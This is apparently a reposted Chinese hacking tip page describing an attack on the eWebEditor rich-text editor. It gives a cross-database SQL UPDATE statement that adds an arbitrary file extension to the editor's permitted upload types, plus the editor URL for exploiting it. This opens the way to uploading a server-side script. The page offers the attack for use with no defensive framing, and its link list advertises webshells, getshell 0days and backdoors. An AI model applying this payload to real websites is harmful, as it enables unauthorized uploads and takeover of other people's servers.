当前位置： 首页 > news >正文

SQL注入eWebEditor数据库

news 来源：原创 2024/5/3 14:05:27

条件：1、知道ewebeditor数据库的绝对地址

2、存在注入，或者后台可执行sql语句。

跨库注入：

update eWebEditor_Style in ‘E:/webhost/xxxxxxxx/www/admin/Editor/db/ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’ where s_id=40

或者

update eWebEditor_Style in ‘E:/webhost/xxxxxxxx/www/admin/Editor/db/ewebeditor.mdb’ set s_imageext=’gif|jpg|jpeg|bmp|aasasa’

利用：
/ewebeditor.asp?id=content1&style=standard

 

相关文章：

  • serv-u8 本地提权
  • 很多黑阔的密码
  • 《SQL Server Online Manager》SQL Server 在线管理
  • linux下端口转发工具rinetd
  • 获取IIS虚拟网站信息的工具
  • 利用系统保留文件名创建无法删除的webshell
  • linux下用webshell修改文件权限
  • ASP .NET PHP 注入页面构造
  • 黑盒白盒测试工具
  • 反弹先锋Win32.ConnectBackShell
  • 变形aspwebshell phpwebshell[Lcx]
  • Serv-U BlackDoor [Version:6.4.x]
  • discuz x1.5 discuz 7.2 后台getshell 0day通杀版出来
  • 菲律宾 IT安全网被黑
  • freetextbox最新上传0day
  • 《深入 React 技术栈》
  • 【个人向】《HTTP图解》阅后小结
  • mac修复ab及siege安装
  • mysql外键的使用
  • PHP 的 SAPI 是个什么东西
  • Shell编程
  • spring boot下thymeleaf全局静态变量配置
  • 翻译 | 老司机带你秒懂内存管理 - 第一部（共三部）
  • 深入体验bash on windows，在windows上搭建原生的linux开发环境，酷！
  • 用Canvas画一棵二叉树
  • MiKTeX could not find the script engine ‘perl.exe‘ which is required to execute ‘latexmk‘.
  • ​​​​​​​GitLab 之 GitLab-Runner 安装，配置与问题汇总
  • ​Base64转换成图片,android studio build乱码,找不到okio.ByteString接腾讯人脸识别
  • #pragma multi_compile #pragma shader_feature
  • （八）五种元启发算法（DBO、LO、SWO、COA、LSO、KOA、GRO）求解无人机路径规划MATLAB
  • （附源码）python房屋租赁管理系统 毕业设计 745613
  • （推荐）叮当——中文语音对话机器人
  • (源码版)2024美国大学生数学建模E题财产保险的可持续模型详解思路+具体代码季节性时序预测SARIMA天气预测建模
  • （转）平衡树
  • ******IT公司面试题汇总+优秀技术博客汇总
  • .Net CF下精确的计时器
  • .NET Framework与.NET Framework SDK有什么不同？
  • .net on S60 ---- Net60 1.1发布 支持VS2008以及新的特性
  • .NET/C# 获取一个正在运行的进程的命令行参数
  • .NET/C# 在代码中测量代码执行耗时的建议（比较系统性能计数器和系统时间）...
  • .NET上SQLite的连接
  • .NET设计模式（8）：适配器模式（Adapter Pattern）
  • @Autowired和@Resource的区别
  • @RequestParam @RequestBody @PathVariable 等参数绑定注解详解
  • [Android] Implementation vs API dependency
  • [android] 切换界面的通用处理
  • [C++数据结构](31)哈夫曼树，哈夫曼编码与解码
  • [ERROR] ocp-server-ce-py_script_start_check-4.2.1 RuntimeError: ‘tenant_name‘
  • [github配置] 远程访问仓库以及问题解决
  • [JAVA设计模式]第二部分：创建模式
  • [js]- 两个对象的合并(Object.assign)
  • [leetcode 189][轮转数组]
  • [leetcode] 3Sum
  • [leetcode]_String to Integer (atoi)
  • [Linux] Apache的配置与运用